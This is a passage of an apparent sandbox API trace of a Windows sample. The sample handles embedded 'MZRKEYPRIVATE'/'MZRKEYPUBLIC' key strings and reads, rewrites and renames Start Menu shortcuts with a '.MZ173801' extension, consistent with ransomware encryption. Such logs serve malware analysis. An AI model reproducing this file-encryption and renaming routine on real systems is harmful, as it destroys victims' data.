cKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.209] GetCurrentThreadId () returned 0xab4 [0212.209] GetCurrentThreadId () returned 0xab4 [0212.209] GetCurrentThreadId () returned 0xab4 [0212.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.210] GetCurrentThreadId () returned 0xab4 [0212.210] GetCurrentThreadId () returned 0xab4 [0212.210] GetCurrentThreadId () returned 0xab4 [0212.210] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Word 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\word 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0212.210] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0212.210] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0212.210] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x999 [0212.210] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0212.210] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x999, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x999, lpOverlapped=0x0) returned 1 [0212.214] CloseHandle (hObject=0x328) returned 1 [0212.214] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Word 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\word 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0212.218] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x999, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x999, lpOverlapped=0x0) returned 1 [0212.219] CloseHandle (hObject=0x328) returned 1 [0212.220] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Word 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\word 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Word 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\word 2016.lnk.mz173801")) returned 1 [0212.220] GetCurrentThreadId () returned 0xab4 [0212.220] GetCurrentThreadId () returned 0xab4 [0212.220] GetCurrentThreadId () returned 0xab4 [0212.220] GetCurrentThreadId () returned 0xab4 [0212.220] GetCurrentThreadId () returned 0xab4 [0212.221] GetCurrentThreadId () returned 0xab4 [0212.221] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4db984e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4db984e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4db984e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 0 [0212.221] GetLastError () returned 0x12 [0212.221] FindClose (in: hFindFile=0xa1b268 | out: hFindFile=0xa1b268) returned 1 [0212.221] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8a3586f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa8a3586f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b268 [0212.221] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0212.221] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0212.221] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8a3586f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa8a3586f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0212.221] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0212.221] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0212.221] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ae4bfb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ae4bfb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa4917571, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x974, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Access 2016.lnk.MZ173801", cAlternateFileName="ACCESS~1.MZ1")) returned 1 [0212.221] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0212.221] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0212.221] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23497a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a94a259, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0212.221] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0212.221] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0212.221] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23497a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a94a259, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0212.222] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23497a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a94a259, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0212.222] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f43b93, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e5b1b6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0212.222] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0212.222] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.222] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Speech Recognition.lnk", cAlternateFileName="")) returned 1 [0212.222] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.222] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.222] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4dc)) returned 1 [0212.307] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk")) returned 0x20 [0212.307] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk", dwFileAttributes=0x80) returned 1 [0212.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6R